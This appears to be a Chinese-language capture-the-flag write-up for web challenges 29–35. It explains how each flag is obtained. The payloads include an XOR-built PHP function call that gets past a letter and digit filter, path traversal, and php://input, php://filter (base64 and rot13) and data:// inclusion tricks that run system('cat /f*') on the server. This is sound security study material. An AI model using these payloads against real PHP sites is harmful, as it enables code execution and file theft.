web29-35
web29
开启环境后
如果匹配到以下,则会阻止
- /[a-z0-9]/:这是一个正则表达式,[a-z0-9] 表示匹配任何小写字母(a-z)或数字(0-9)。
- /i:这是一个修饰符,表示进行不区分大小写的匹配。也就是说,这个正则表达式也会匹配大写字母。
使用异或构造字母,也可以用or来构造
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%00"^"%60%60%7c%20%2f%60%2a");
成功获取flag
web30
开启环境后发现是一个文件包含题目
根据提示
//flag in /var/www/secret
可知flag的位置,于是直接将路径get
给file
得到flag
flag{962fc4a7-c0bb-47d4-b258-77d3c32b8227}
但是只能读取文本文件,读不了php文件
web31
开启环境后
$_GET['file']?$_GET['file']:"nothing.php"
是三元表达式
如果file参数存在,则使用它的值;如果不存在,就使用默认值"nothing.php"
根据提示,flag是在根目录下的,于是我们需要返回上层目录
/?file=../../../flag
找到flag
flag{ae33b756-c5ae-468a-95df-1ff5de4d5604}
web32
开启环境后,是一个input协议
启动抓包
发现直接输出为文本
得到flag,直接用php代码,告诉input我是代码
flag{b9dc7739-accb-45c8-bbc1-75454e0370a1}
web33
开启环境,很多字符被过滤了,于是利用filter协议
添加base64确保全部传输
/?file=php://filter/write=convert.base64-decode/resource=1.php
加号变为url编码
查看1.php
测试成功
进行
<?php system("cat /f*") ?>
得到flag
flag{b3691e1a-05c8-4fcb-94fb-d7e8818c60f8}
web34
绕过死亡die,启动环境
这里编码采取凯撒13来操作(rot13再操作一次为本身)
使得不会被认定为php代码,绕过死亡die
成功执行,测试成功
/?file=php://filter/write=string.rot13/resource=1.php
post数据
content=<?cuc flfgrz("gnp /s*")?>
web35
开启环境
运用data协议
/?file=data://text/plain/,<?php system("tac /f*");?>
得到flag
flag{2c708bc8-f0c2-495c-929e-e3e5deab7c13}